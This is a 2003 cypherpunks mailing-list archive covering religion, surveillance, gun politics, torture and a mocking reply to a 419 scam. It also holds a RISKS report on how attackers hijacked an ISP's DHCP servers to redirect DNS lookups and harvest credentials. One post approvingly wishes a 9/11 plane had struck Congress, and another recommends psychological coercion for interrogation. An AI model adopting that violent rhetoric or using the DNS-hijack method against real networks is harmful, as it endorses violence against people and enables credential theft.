>O:.T:.O:. Mathematical Munitions Division
>"Do What Thou Wilt Shall Be The Whole Of The Law"

_________________________________________________________________
MSN 8 with e-mail virus protection service: 2 months FREE*  
http://join.msn.com/?page=features/virus




From camera_lumina at hotmail.com  Tue Jun 24 07:35:02 2003
From: camera_lumina at hotmail.com (Tyler Durden)
Date: Tue, 24 Jun 2003 10:35:02 -0400
Subject: Senators from Utah being Southern
Message-ID: <BAY7-F88DF7JfUiSToY0000f075@hotmail.com>

Morlock Elloi wrote...

>It all boils down to getting masses to farm out the inquisitivness and then
>servicing it.

Well, I think this is the case 99% of the time, but I don't think it has to 
be. When most of the earlier scriptures were written, they probably served a 
function vaguely similar to modern Journals now....a place were insights 
were recorded so that others could build on the knoweldge base (if we ignore 
considerations of whether the 'insights' correspond to reality, the analogy 
with Journals is even more apropos.

Mostly, though, I agree. No wait, maybe I don't. Modern organized religion 
is more about stegoing control commands into 'religious' teaching so as to 
get the masses to support the status quo. For instance, "God wanted us to 
invade Iraq because he loves us and our Christian country and hates Saddam 
because he is evil". Actually, more than control signals there are messages 
that inform the pious that their self-interest is at stake, and they don't 
need to bother themselves with the morality of the war on US foreign policy, 
etc...

-TD


>From: Morlock Elloi <morlockelloi at yahoo.com>
>To: cypherpunks at lne.com
>Subject: Re: Senators from Utah being Southern
>Date: Mon, 23 Jun 2003 19:59:05 -0700 (PDT)
>
> >Religions are essentially collections of stories about the latter method
>
>Religions are artificial shortcuts to "knowledge" and excellent method to
>neutralize congenital human curiosity. If you can't comprehend it, fake it.
>They all offer explanations of various phenomena by using familiar human 
>memes
>(fathers, mothers, children, birth, death.) It works most of the time.
>
>The major difference between politics and religion is that politics is
>streamlined, it doesn't count on the internal consistency (and related 
>effort
>to grasp it) but instead uses (via media) brute force of repetition.
>
>It all boils down to getting masses to farm out the inquisitivness and then
>servicing it.
>
>
>=====
>end
>(of original message)
>
>Y-a*h*o-o (yes, they scan for this) spam follows:
>
>__________________________________
>Do you Yahoo!?
>SBC Yahoo! DSL - Now only $29.95 per month!
>http://sbc.yahoo.com

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From jburnes at vonu.net  Tue Jun 24 11:34:44 2003
From: jburnes at vonu.net (jburnes)
Date: Tue, 24 Jun 2003 13:34:44 -0500
Subject: Senators from Utah being Southern
In-Reply-To: <BAY7-F88DF7JfUiSToY0000f075@hotmail.com>
Message-ID: <86919EF3-A672-11D7-A8E8-003065BD2A5E@vonu.net>

Except its interesting that in the late/ongoing gulf conflict the 
Catholic church actually
said that US aggression on Iraq was evil.  Interesting.  In any case, 
my mother who would
consider herself a devout Catholic ignored this control channel and 
found herself obeying
the other more insidious control channel -- mass media.  They have 
weapons of
mass destruction.  Tomorrow they could be gassing all of NYC.  blah 
blah blah.
They have spurned the UN long enough!!!

Nothing about oil companies shutting down Saddam because he was 
funneling Russian Caspian
sea oil through his pipeline.  The rules say Saddam couldn't pump his 
own own (except
for oil for food).  They don't say anything about him moving someone 
else's oil.

jb



On Tuesday, June 24, 2003, at 09:35  AM, Tyler Durden wrote:

> Morlock Elloi wrote...
>
>> It all boils down to getting masses to farm out the inquisitivness 
>> and then
>> servicing it.
>
> Well, I think this is the case 99% of the time, but I don't think it 
> has to be. When most of the earlier scriptures were written, they 
> probably served a function vaguely similar to modern Journals now....a 
> place were insights were recorded so that others could build on the 
> knoweldge base (if we ignore considerations of whether the 'insights' 
> correspond to reality, the analogy with Journals is even more apropos.
>
> Mostly, though, I agree. No wait, maybe I don't. Modern organized 
> religion is more about stegoing control commands into 'religious' 
> teaching so as to get the masses to support the status quo. For 
> instance, "God wanted us to invade Iraq because he loves us and our 
> Christian country and hates Saddam because he is evil". Actually, more 
> than control signals there are messages that inform the pious that 
> their self-interest is at stake, and they don't need to bother 
> themselves with the morality of the war on US foreign policy, etc...
>
> -TD
>
>
>> From: Morlock Elloi <morlockelloi at yahoo.com>
>> To: cypherpunks at lne.com
>> Subject: Re: Senators from Utah being Southern
>> Date: Mon, 23 Jun 2003 19:59:05 -0700 (PDT)
>>
>> >Religions are essentially collections of stories about the latter 
>> method
>>
>> Religions are artificial shortcuts to "knowledge" and excellent 
>> method to
>> neutralize congenital human curiosity. If you can't comprehend it, 
>> fake it.
>> They all offer explanations of various phenomena by using familiar 
>> human memes
>> (fathers, mothers, children, birth, death.) It works most of the time.
>>
>> The major difference between politics and religion is that politics is
>> streamlined, it doesn't count on the internal consistency (and 
>> related effort
>> to grasp it) but instead uses (via media) brute force of repetition.
>>
>> It all boils down to getting masses to farm out the inquisitivness 
>> and then
>> servicing it.
>>
>>
>> =====
>> end
>> (of original message)
>>
>> Y-a*h*o-o (yes, they scan for this) spam follows:
>>
>> __________________________________
>> Do you Yahoo!?
>> SBC Yahoo! DSL - Now only $29.95 per month!
>> http://sbc.yahoo.com
>
> _________________________________________________________________
> MSN 8 helps eliminate e-mail viruses. Get 2 months FREE*.  
> http://join.msn.com/?page=features/virus




From mv at cdc.gov  Tue Jun 24 16:57:37 2003
From: mv at cdc.gov (Major Variola (ret.))
Date: Tue, 24 Jun 2003 16:57:37 -0700
Subject: Army patents biowar tech, aiding the enemy, indicting itself
Message-ID: <3EF8E571.2E9E05E3@cdc.gov>

Helping the Enemy?

      The U.S. Army is catching some flak for patenting two devices that
could be used to
      launch bioweapons. Critics say the patents may violate a
weapons-control treaty--and
      could give terrorists a blueprint for manufacturing the devices.

      The U.S. Patent and Trademark Office issued the two patents
(numbers 6,523,478 and
      6,047,644) over the last year. One details a "nonlethal cargo
dispenser" that attaches to
      the end of a rifle and uses a bullet's momentum to zip a chemical
or biological payload to
      its target. The other describes a cartridge that can spread an
aerosol cloud.

      The Sunshine Project, a nonprofit arms-control group with offices
in Austin, Texas, and
      Hamburg, Germany, first raised questions about the patents last
month, saying they
      appeared to violate the Biological and Toxin Weapons Convention,
which bars the
      development of delivery devices. And this month, Greg Aharonian,
publisher of the
      prominent Internet Patent News Service, piled on. "Which words in
the phrase 'aiding
      and abetting the enemy' does the Army not understand?" he asks,
adding that "it is
      hypocritical to complain about countries developing biological and
chemical weapons
      when we are openly educating them on how to do so." He says the
military should have
      classified the patents. The Army says it is looking into the
issue.

http://www.sciencemag.org/content/vol300/issue5627/r-samples.shtml#300/5627/1873a




From mv at cdc.gov  Tue Jun 24 17:04:24 2003
From: mv at cdc.gov (Major Variola (ret.))
Date: Tue, 24 Jun 2003 17:04:24 -0700
Subject: [Brinworld] LATimes article on Event Data Recorders, privacy, 
  teentrackers
Message-ID: <3EF8E708.6A0D40B0@cdc.gov>

June 24, 2003
                    BEHIND THE WHEEL
                    A Key Witness at Crash Scenes: the Black Box
                      Helping investigators reconstruct accidents, data
recorders are not just for jets anymore. But their use has
                    raised privacy concerns.

...
Most other car makers also use this technology. But GM, and now Ford
Motor Co., decided to allow others
                    access to the data. In 2000, Santa Barbara-based
Vetronix Corp. began selling a data-retrieval system that
                    enables insurance and accident investigators to
download data recorder information. The California Highway
                    Patrol and 10 other law enforcement departments in
the state have the retrieval systems, which cost about
                    $2,500.
...
Jon Cherney, an Irvine police investigator, used data recorder
information to
                    catch a Rancho Palos Verdes man in a recent
hit-and-run collision. Although the man had denied being
                    involved in the accident, Cherney said the recorder
from his impounded car showed it had been in an
                    accident in the same time period. The case is
pending, he said.
...
Recently, a consumer variant of the black box has become available. The
device, marketed to parents of
                    teens, emits beeps and other noises when a driver
exceeds 70 mph, takes a turn too quickly or doesn't wear
                    a seat belt. Devices installed by car makers don't
record such regular driving details.

                    Who actually owns the data recorder information is a
central question in the debate over whether it
                    represents an invasion of drivers' privacy.

                    "Your car effectively spies on you," said Marc
Rotenberg, executive director of the Electronic Privacy
                    Information Center, a civil liberties group based in
Washington, D.C. "It's a little like having the guy from
                    Allstate in the back seat of your car."
<snip>
http://www.latimes.com/news/local/la-me-wheel24jun24235621,1,7942363.story?coll=la-headlines-california




From measl at mfn.org  Tue Jun 24 16:30:38 2003
From: measl at mfn.org (J.A. Terranson)
Date: Tue, 24 Jun 2003 18:30:38 -0500 (CDT)
Subject: Pro-gun Federal Judge Nominee In Trouble (fwd)
Message-ID: <Pine.BSF.4.21.0306241830090.6713-100000@greeves.mfn.org>

---------- Forwarded message ----------
Date: Tue, 24  Jun  2003 17:49:45 -0400
From: Gun_Owners_of_America at capwiz.mailmanager.net
To: Gun_Owners_of_America at capwiz.mailmanager.net
Subject: Pro-gun Federal Judge Nominee In Trouble

Senate Democrats Trying To Torpedo Pro-gun Judicial Appointee
  -- Calls needed to Senate to help break upcoming filibuster

Gun Owners of America E-Mail Alert
8001 Forbes Place, Suite 102, Springfield, VA 22151
Phone: 703-321-8585 / FAX: 703-321-8408
http://www.gunowners.org


  "As a law enforcement official, I know crimes are caused by
  criminals, not by the gun industry.  Indeed, by providing
  good-quality firearms at reasonable prices to law-abiding citizens
  and lawmen, the gun industry helps reduce crime." -- Bush nominee
  to the federal bench, Attorney General Bill Pryor (AL)


(Tuesday, June 24, 2003) -- As you read that quote above, you can
see why Democrat Senators Charles Schumer (NY) and Dianne Feinstein
(CA) don't want Alabama Attorney General Bill Pryor confirmed to the
11th Circuit Court of Appeals.

Simply put, Bill Pryor is way too pro-gun for them. 

You may remember U.S. Attorney General John Ashcroft stated in 2001
that the Second Amendment protects an individual right to keep and
bear arms.  Well, it was Alabama Attorney General Bill Pryor who
mobilized attorneys general in 17 other states to sign a letter
commending Ashcroft for his position.

The Pryor letter cites different scholarly law review articles and
Supreme Court opinions that substantiate the true meaning behind the
Second Amendment.  The letter also quotes gun-hating constitutional
scholars (like Laurence Tribe) who have reluctantly concluded that
the Second Amendment does indeed protect an individual right to bear
arms.

Finally, the Pryor letter references the work of John Lott which
shows that putting guns in the hands of good people is good public
policy.  Why?  Because "more guns [means] less crime."

President George Bush nominated Gen. Pryor to be a judge in the
federal court system, but the Democratic leadership has stonewalled
his confirmation -- just as it has done with so many other
appointees.

The Senate Judiciary Committee was expected to vote on Pryor's
nomination this week.  But minority party delay tactics have pushed
back that vote until sometime in July.  (Democrats have submitted an
unprecedented number of questions for General Pryor to answer before
the Judiciary Committee acts on his nomination.)

Please contact your Senators and ask them to support the Pryor
nomination.  He is unabashedly pro-gun, and deserves the support of
gun owners nationwide.


ACTION:  Help get pro-gun Attorney General William Pryor confirmed
to the 11th Circuit Court of Appeals.  You can contact your Senators
by visiting the Gun Owners Legislative Action Center at
http://www.gunowners.org/activism.htm and sending them a pre-written
e-mail message.  Or, you can cut-and-paste the text below and fax it
to your two Senators (fax numbers can be found at the above URL).


------ Pre-written message ------


Dear Senator:

I am very disturbed that the U.S. Senate is dragging its feet in
confirming pro-gun Alabama Attorney General William Pryor to the
11th Circuit Court of Appeals.

Make no mistake, General Pryor is more than qualified to assume a
position on the federal bench.  Not only does he have a "qualified"
rating from the American Bar Association, he has spent years
distinguishing himself as a top-class public servant.

He has served as the Editor in Chief of the Tulane Law Review.  He
has personally argued a case before the U.S. Supreme Court.  And he
has been elected to the position of Attorney General in the state
of Alabama.

Even partisan opponents have heaped high praise on him.  Dr. Joe
Reed, the chairman of the Alabama Democratic Conference, says that
William Pryor is a "first-class public official" who "will be a
credit to the judiciary and will be a guardian for justice."

I support General Pryor's nomination because he is pro-Constitution
and pro-Second Amendment.  And I will consider ANY vote to delay or
filibuster his nomination as an anti-gun vote.

I hope you will oppose any stall tactics and vote to CONFIRM William
Pryor to the federal bench.  Gun Owners of America will report to me
how you vote.  Thank you.

Sincerely,


****************************

"Live Fire" radio with Larry Pratt is now broadcast by the
Information Radio Network on Saturdays at 12:00 Noon Eastern.
"Live Fire" is simulcast on the web at http://inforadionet.com
and previous episodes are archived at
http://www.soundwaves2000.com/livefire/ in RealAudio.

****************************

Please do not reply directly to this message, as your reply will
bounce back as undeliverable.

To subscribe to free, low-volume GOA alerts, go to
http://www.gunowners.org/ean.htm on the web. Change of e-mail
address may also be made at that location.

To unsubscribe send a message to
gunowners_list at capwiz.mailmanager.net with the word unsubscribe in
the subject line.

Problems, questions or comments? The main GOA e-mail address
goamail at gunowners.org is at your disposal. Please do not add that
address to distribution lists sending more than ten messages per
week or lists associated with issues other than gun rights.




From mv at cdc.gov  Tue Jun 24 18:58:11 2003
From: mv at cdc.gov (Major Variola (ret.))
Date: Tue, 24 Jun 2003 18:58:11 -0700
Subject: Genes want to be free (MP3=GMO)
Message-ID: <3EF901B3.45E4EECE@cdc.gov>

I caught a session of the CA legislature hearing folks talk about GMOs.
Many of the speakers were wanting to ban them from CA, worrying that
if they arrive, they'll contaminate agriculture & commerical fishing,
thereby closing markets (some of which want GMO-free food)
or adding to producer costs via diagnostic tests to assure those
markets.

It struck me how 1. futile this is 2. similar to the RIAA's efforts to
stop file sharing.  Because in both cases you can't stop *others* from
inserting a gene, or ripping a track.  And once others do so, its very
difficult to stop their propogation --information wants to be free,
as the teenagers say, or more accurately, is readily copied.

And *short of a police state*, you can't catch 100% of them.  (This
point I learned from this list.)

There are a lot of dead British sheep and Hong Kong chickens, but
pathogens
(information) will reappear, and the pathogen-sharing (P2P) conditions
continue.
Hoof & mouth, avian flu,  BSE, SARS, HIV.  Napster, Morpheus, KaZaa,
Gnutella, etc.

If you say you have no fruit when driving into CA,
the CA food police (yes, they exist) won't search your car.
(Again, the point about anything less than a police state.)

The RIAA can screw with CD formats and
try to 0wn hardware OEMs and ISPs,
but someone will just use the analog hole,
and encrypted onion-routing P2P.

Maybe Zebra mussels will contain a cure for SARS :-)




From timcmay at got.net  Tue Jun 24 19:21:59 2003
From: timcmay at got.net (Tim May)
Date: Tue, 24 Jun 2003 19:21:59 -0700
Subject: Army patents biowar tech, aiding the enemy, indicting
  itself
In-Reply-To: <3EF8E571.2E9E05E3@cdc.gov>
Message-ID: <CCACCA84-A6B3-11D7-8DFB-000A956B4C74@got.net>

On Tuesday, June 24, 2003, at 04:57  PM, Major Variola (ret.) wrote:

> Helping the Enemy?
>
>       The U.S. Army is catching some flak for patenting two devices 
> that
> could be used to
>       launch bioweapons. Critics say the patents may violate a
> weapons-control treaty--and
>       could give terrorists a blueprint for manufacturing the devices.
>
>

The government always exempts itself from laws, or ignores the laws, or 
is not pursued by "law enforcement."

At the trivial side of the scale, this is what allows cops to speed on 
the roads for no actual need. They are used to going fast when they 
want to, so they do. Other cops either ignore them (for various 
reasons) or give them "professional courtesy" as soon as they identify 
themselves as fellow cops.

On the more serious side of the scale, governments run drug operations, 
ship contraband, smuggle arms, torture suspects, conspire with criminal 
regimes around the world, and set up criminal enterprises to benefit 
themselves and their friends.

And on the most serious side, governments force taxpayers into Ponzi 
schemes for their retirements while carefully exempting themselves and 
their own retirement funds.

It is for this last kind of sin that Congresscritters should be dealt 
with so very harshly. So very harshly. Too bad the most important 
flight got delayed out of D.C. and didn't make it to the most important 
target.

--Tim May




From mv at cdc.gov  Wed Jun 25 11:23:50 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Wed, 25 Jun 2003 11:23:50 -0700
Subject: Torture done correctly is a terminal process
Message-ID: <3EF9E8B6.2064661E@cdc.gov>

At 01:39 PM 6/25/03 -0400, netkita at earthlink.net wrote:
>> At present, if the US wants someone terminally interrogated,
>> they ship him to Egypt and ask the Egyptians to do the
>> interrogation.

More chance of a leak there; Mossad is highly recommended.

But a terminal interrogation might bury some secrets.  Whereas
a mindfuck approach --fake newspapers, fabricated environments,
informers, nonlethal psychotropics-- can keep your resource going,
and make him leak.

Why do you think the captured al Q dudes are not allowed to speak
to others, it would trash the illusion.

"Torture done correctly is a terminal process" is so old-school...




From netkita at earthlink.net  Wed Jun 25 10:39:14 2003
From: netkita at earthlink.net (netkita at earthlink.net)
Date: Wed, 25 Jun 2003 13:39:14 -0400
Subject: Torture done correctly is a terminal process
In-Reply-To: <3DDD6987.23905.33A52E7@localhost>
References: <20021121222422.A30485@cluebot.com>
Message-ID: <3EF9A602.12539.62BBAE4F@localhost>

Just out of suriosity .. do you have any of the poems or a location for them? Sorry for the 
delay in answering them.
    Deirdre



On 21 Nov 2002 at 23:17, James A. Donald wrote:

> 
>     --
> > On Thu, Nov 21, 2002 at 09:33:39AM -0800, Greg Broiles wrote:
> > > To flesh this out a little more - the judge was Stephen 
> > > Trott, speaking on September 18 2002 at the Commonwealth 
> > > Club. Trott credits the torture warrant idea to Alan 
> > > Dershowitz, whom he describes as a good friend and a "great 
> > > civil libertarian".
> 
> On 21 Nov 2002 at 22:24, Declan McCullagh wrote:
> > Yes. Clearly it's okay for torture warrants to exist -- as 
> > long as you're a member of the political class that gets to 
> > approve them...
> 
> At present, if the US wants someone terminally interrogated, 
> they ship him to Egypt and ask the Egyptians to do the 
> interrogation.
> 
> I am mildly suprised they do not ask the Afghans to do the 
> interrogations, since poems have been written concerning the 
> remarkable effectiveness of Afghan interrogations. 
> 
>     --digsig
>          James A. Donald
>      6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
>      Jyf5nXEcZGYbFVFMsrtVZ973GZhAHY04PCKLDC4a
>      4OpiaSbnH8yY1vYQHQAPfTAfNqbAvyyBgFMDUG6Ir




From frissell at panix.com  Wed Jun 25 13:42:42 2003
From: frissell at panix.com (Duncan Frissell)
Date: Wed, 25 Jun 2003 16:42:42 -0400 (EDT)
Subject: Torture done correctly is a terminal process
In-Reply-To: <3EF9A602.12539.62BBAE4F@localhost>
References: <20021121222422.A30485@cluebot.com>
  <3EF9A602.12539.62BBAE4F@localhost>
Message-ID: <Pine.NEB.4.55.0306251641110.1611@panix1.panix.com>

There's always "The Ballad of the King's Mercy" by Kipling:

http://www.worldwideschool.org/library/books/lit/poetry/VersesKipling1889-1896/chap25.html

On Wed, 25 Jun 2003 netkita at earthlink.net wrote:

> Just out of suriosity .. do you have any of the poems or a location for them? Sorry for the
> delay in answering them.
>     Deirdre
>
>
>
> On 21 Nov 2002 at 23:17, James A. Donald wrote:
>
> >
> >     --
> > > On Thu, Nov 21, 2002 at 09:33:39AM -0800, Greg Broiles wrote:
> > > > To flesh this out a little more - the judge was Stephen
> > > > Trott, speaking on September 18 2002 at the Commonwealth
> > > > Club. Trott credits the torture warrant idea to Alan
> > > > Dershowitz, whom he describes as a good friend and a "great
> > > > civil libertarian".
> >
> > On 21 Nov 2002 at 22:24, Declan McCullagh wrote:
> > > Yes. Clearly it's okay for torture warrants to exist -- as
> > > long as you're a member of the political class that gets to
> > > approve them...
> >
> > At present, if the US wants someone terminally interrogated,
> > they ship him to Egypt and ask the Egyptians to do the
> > interrogation.
> >
> > I am mildly suprised they do not ask the Afghans to do the
> > interrogations, since poems have been written concerning the
> > remarkable effectiveness of Afghan interrogations.
> >
> >     --digsig
> >          James A. Donald
> >      6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
> >      Jyf5nXEcZGYbFVFMsrtVZ973GZhAHY04PCKLDC4a
> >      4OpiaSbnH8yY1vYQHQAPfTAfNqbAvyyBgFMDUG6Ir




From jblake at eskimo.com  Wed Jun 25 22:16:11 2003
From: jblake at eskimo.com (jonathon)
Date: Wed, 25 Jun 2003 22:16:11 -0700 (PDT)
Subject: SAVE MY LIFE PLS.
In-Reply-To: <200306260208.h5Q28XH05516@einstein.ssz.com>
Message-ID: <Pine.GSU.4.44.0306251956480.25585-100000@eskimo.com>

On Wed, 25 Jun 2003, MRS. JOY GINA BELLO wrote:

	Asalamu alaikum,

]>Nigeria with my children. My late husband was a

	May the peace and blessing of Allah( Praise to his name )
	be upon your husband.

]>death, his family members insisted that I am not
]>entitled to his property (Assets and money) since I am
]>a woman and my offspring's all girls as I do not have
]>a male child for my husband. Well, according to some

	May Allah ( Praise be to his name ) have mercy
	on their souls.

	I cry at such an outrageous violation of Marawaith.

	The Qur'an commands the following:
		3/27 to you.
		4/27 to his mother.
		4/27 to his father
		19/100 to each of your lovely daughters.

]>which doesn't permit a woman to inherit a man's

	A sad thing, when one forsakes the writings
	of the Prophet. ( Peace and Blessings of Allah be upon him. )

]>the furtherance of their education. According to the

	I weep at their flagrant violation of the commandments of
	Allah ( Praise to his name.)

]>providing us with your bank details and the enablement

	Alas Sister, banks involve Riba, which the Qur'an prohibits.

	I could, perhaps, be able to faciliate the transfer of
	your money, to a more secure location, and ensure that
	the Marawaith is adhered to, in the process of so doing.

]>email, your personal details including your contact
]>information for easy communication. Thanking you for

	My name Jonathon
	My fax number is +1-303-600-6312

	May the Peace and Blessings of Allah be upon you.



-- 


	See headers for copyright and related information.

	********

	Finger account for book status




From ravage at einstein.ssz.com  Thu Jun 26 04:39:00 2003
From: ravage at einstein.ssz.com (Jim Choate)
Date: Thu, 26 Jun 2003 06:39:00 -0500 (CDT)
Subject: [eff-austin] Wired: DoD Logging Unverified Tips (fwd)
Message-ID: <Pine.LNX.4.33.0306260638390.1323-100000@einstein.ssz.com>

---------- Forwarded message ----------
Date: Thu, 26 Jun 2003 02:14:40 -0700 (PDT)
From: Carl Webb <webbcarl at hotmail.com>
To: austinagainstwar at yahoogroups.com, eff-austin at effaustin.org,
     tlc-discuss at lists.cwrl.utexas.edu
Subject: [eff-austin] Wired: DoD Logging Unverified Tips



------------------------------------------------------------------------

DoD Logging Unverified Tips

http://www.wired.com/news/politics/0,1283,59365,00.html

By Brian McWilliams

To track domestic terrorist threats against the military, the Pentagon is creating a new database that will contain "raw, non-validated" reports of "anomalous activities" within the United States.

According to a Department of Defense memorandum, the system, known as Talon, will provide a mechanism to collect and rapidly share reports "by concerned citizens and military members regarding suspicious incidents."

Talon was described in a May 2 memorandum to top Pentagon brass from Deputy Secretary of Defense Paul Wolfowitz. In the memo, Wolfowitz directed the heads of military departments and agencies to begin producing Talon reports immediately.

A similar reporting system proposed by Attorney General John Ashcroft was shelved last year following opposition from privacy groups and others. Known as Operation TIPS, the Department of Justice system was intended to enlist civilian workers nationwide to report possible terrorist activity.

The Talon antiterrorism database was first reported by Kitetoa, a French security site. An anonymous source, who said he obtained a copy of the Talon memo from a website operated by the Department of Defense, provided Wired News with access to a copy marked "official
use only."

Ken McLellan, a Department of Defense spokesman, said the document "certainly looked authentic," but he declined to discuss the contents of the memo or the potential intrusion into DoD's network. McLellan said the agency was investigating the matter.

According to Peter S. Probst, a former Pentagon terrorism expert, the Talon program is necessary to protect DoD property and personnel.

"It would be derelict not to keep track of anomalous incidents. This is just common sense," said Probst, currently a Virginia-based terrorism consultant and program director for the Institute for the Study of Terrorism and Political Violence.

In the memo, Wolfowitz instructs DoD personnel to report -- "in accordance with existing policy and law" -- suspicious activities, including surveillance of DoD facilities, tests of security and "elicitation" attempts that suggest intelligence gathering.

The memo acknowledged that Talon reports may be "fragmented and incomplete," but that "rapid reporting" is the goal of the system, which is not designed to replace the DoD's formal intelligence reporting process.

Lee Tien, staff attorney for the Electronic Frontier Foundation, an online rights group, said Talon raises many of the same questions as those that plagued the unsuccessful Operation TIPs.

"What is the value in accelerating the speed of the rumor mill?" said Tien. "You have a wealth of really weak data that ends up percolating its way through the system. How will they ensure that there's no opportunity for people's dossiers to become tainted?"

It was not clear from the memo whether Talon reports would become part of the Pentagon's controversial Terrorism Information Awareness (TIA) program, or whether the data would be shared with other government agencies, such as the Department of Homeland Security.

According to the Wolfowitz memo, reports of potential threats are to be sent to the DoD's Counterintelligence Field Activity office using "automated information systems or via e-mail attachment."

The CIFA will be responsible for incorporating the information into a database that will be accessed by DoD organizations, including the Defense Intelligence Agency and Joint Intelligence Task Force Combating Terrorism, according to the report.

The Talon system appears to have grown out of Eagle Eyes, an antiterrorism project developed by the Air Force Office of Special Investigations. Launched in April 2002, Eagle Eyes is a neighborhood watch-type program that "enlists the eyes and ears of Air Force members and citizens in the war on terror," according to the OSI website.

Since hijackers crashed an American Airlines jet into the Pentagon on September 11, 2001, no reports have been published of terrorist attacks within the United States on military personnel or facilities.

However, the DoD regularly experiences "a high volume of probes, casing, and surveillance" from potential terrorists in the United States, according to Probst.




From pgut001 at cs.auckland.ac.nz  Thu Jun 26 21:16:17 2003
From: pgut001 at cs.auckland.ac.nz (Peter Gutmann)
Date: Fri, 27 Jun 2003 16:16:17 +1200
Subject: Senators from Utah being Southern
Message-ID: <200306270416.h5R4GHR18006@medusa01.cs.auckland.ac.nz>

Tim May <timcmay at got.net> writes:

>He was a hell of a lot more interesting than JC, that's for sure. I recommend
>"The Prophecy," the wonderful movie with Christopher Walken as the angel
>Gabriel.

Great film, source of one of my favourite movie quotes:

  Have you ever noticed that in the Bible whenever God needed to punish
  someone, when God needed a killing, he sent an angel?  Can you imagine what
  a creature like that must be like?  Your entire existence spent praising
  God, but always with one wing dipped in blood.  Would you ever really want
  to *meet* an angel?"

(so much deeper than "I'll be back").

Peter.




From jtrjtrjtr2001 at yahoo.com  Fri Jun 27 23:40:13 2003
From: jtrjtrjtr2001 at yahoo.com (Sarad AV)
Date: Fri, 27 Jun 2003 23:40:13 -0700 (PDT)
Subject: test mail-pls ignore
Message-ID: <20030628064013.77668.qmail@web21202.mail.yahoo.com>

test.

__________________________________
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com




From bogus@does.not.exist.com  Sat Jun 28 02:08:02 2003
From: bogus@does.not.exist.com ()
Date: Sat, 28 Jun 2003 02:08:02 -0700
Subject: 6:30 pm Monday 30 June 2003 Refund Day II: The case of Adam Kosmin vs. Toshiba, in the matter of Adam's refund, may be be tried but might be put off for another day.
Message-ID: <mailman.741.1576007633.31620.cypherpunks-legacy@lists.cpunks.org>

Efforts at an out of court settlement having failed, the issue between
Adam Kosmin and Toshiba will at some unknown date be tried in a court of
law.  The case may be tried on Monday 30 June 2003, but the court might
rather set yet another date some time in the future, perhaps a month from
now.  So far Adam Kosmin and Toshiba have been out to the Queens County
courthouse three times.  This Monday's appearance will be the fourth in
this matter.


Adam Kosmin has written an important article on Refund Day II and what we
can do to help the courts and the press and the people understand:

http://linuxjournal.com/article.php?sid=6968


At 5:00 pm on Monday 30 June 2003 Adam Kosmin and some tribesfolk will
gather at the coffee house across the street from the Queens County
courthouse.  All supporters of free software and all students of contract
law are invited!

If the case is heard this Monday, it might be useful to have on hand more
than one laptop computer running a free OS.  As always, Knoppix, or Knoppix
variant, disks are welcome.  These tools may help us explain to the judge
some facts that are not often presented in large circulation newspapers.

If convenient, wear standard CLOTHES OF RESPECT.  Do not interrupt or shout
out in court.  You may not read in court.  You must sit and pay attention
and be ready to help the judge and Adam.


Here is information about Refund Day I:

http://www.svlug.org/events/refund
http://www.netmonger.net/~onr/ny/welcome.html
http://www.nytimes.com/library/tech/99/02/biztech/articles/16windows.html


Adam Kosmin is the leader of Refund Day II and all questions should be
addressed to him at

info at windowsrefund.net

For more about Refund Day II:

http://www.windowsrefund.net


This action is not the whole of Refund Day II.  It is just the beginning.
Already other actions, not yet public, are in process.  No matter what
happens in court we will continue the fight.  What is at stake is our right
to private ownership of computers and our right to free private, tribal,
business, and public use of the Net.


<blockquote
  what="information"
  contact-for-more-information="info at windowsrefund.net">

1. court

Queens County Court


2. place of court

89-17 Sutphin Blvd.
Jamaica, NY 11435
718-262-7123


3. day and time of case

Monday 30 June 2003
6:30 P.M. in the Small Claims/Commercial Claims Part Courtroom
First Floor Room 101

Note that the room number may actually be different.  It is best to arrive
early and meet with Adam at the coffee house across the street.


4. name and/or number of action

Index number: 531QSC2003
Kosmin, Adam vs. Toshiba American Information Systems Inc


5. ways to get out there

By subway, take the F train to Sutphin Blvd.  The court house is on the same
street.  It is several blocks from the subway stop.

</blockquote>


Note: This action is not a formal official action of LXNY, though many LXNY
members support the rule of law, and further, the particular application of
the rule of law to Microsoft and Toshiba.


Jay Sulzberger <secretary at lxny.org>
Corresponding Secretary LXNY
LXNY is New York's Free Computing Organization.
http://www.lxny.org

----- End forwarded message -----




From bill.stewart at pobox.com  Sat Jun 28 13:06:03 2003
From: bill.stewart at pobox.com (Bill Stewart)
Date: Sat, 28 Jun 2003 13:06:03 -0700
Subject: Attacking networks using DHCP, DNS - probably kills DNSSEC
Message-ID: <5.1.1.6.2.20030628124252.033e5600@idiom.com>

Somebody did an interesting attack on a cable network's customers.
They cracked the cable company's DHCP server, got it to provide a
"Connection-specific DNS suffic" pointing to a machine they owned,
and also told it to use their DNS server.
This meant that when your machine wanted to look up yahoo.com,
it would look up yahoo.com.attackersdomain.com instead.

This looks like it has the ability to work around DNSSEC.
Somebody trying to verify that they'd correctly reached yahoo.com
would instead verify that they'd correctly reached
yahoo.com.attackersdomain.com, which can provide all the signatures
it needs to make this convincing.

So if you're depending on DNSSEC to secure your IPSEC connection,
do make sure your DNS server doesn't have a suffix of echelon.nsa.gov...


------------------------------
RISKS-LIST: Risks-Forum Digest  Saturday 17 June 2003  Volume 22 : Issue 78
http://catless.ncl.ac.uk/Risks/22.78.html
------------------------------
Date: Fri, 20 Jun 2003 15:33:15 -0400
From: Tom Van Vleck <thvv at multicians.org>
Subject: ISP's DHCP servers infiltrated

http://ask.slashdot.org/article.pl?sid=03/06/19/2325235&mode=thread&tid=126&tid=172&tid=95

"... It turns out, Charter Communications' DHCP servers were
infiltrated and were providing p5115.tdko.com as the
'Connection-specific DNS suffix', causing all non-hardened Windows
(whatever that means in a Windows context) machines to get lookups
from a hijacked subdomain DNS server which simply responded to every
query with a set of 3 addresses (66.220.17.45, 66.220.17.46,
66.220.17.47).

On these IPs were some phantom services. There were proxying Web
servers (presumably collecting cookies and username/password combos),
as well as an ssh server where the perpetrators were most likely
hoping people would simply say 'yes' to the key differences and enter
in their username/password..."

Hmm, my cable ISP was down this morning.  Maybe coincidence.



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From schear at attbi.com  Sat Jun 28 14:17:47 2003
From: schear at attbi.com (Steve Schear)
Date: Sat, 28 Jun 2003 14:17:47 -0700
Subject: Low cost cruise missile
Message-ID: <5.2.1.1.0.20030628140305.043ba2b0@mail.attbi.com>

[A few years back, on this list, Lucky Green and I discussed the creation 
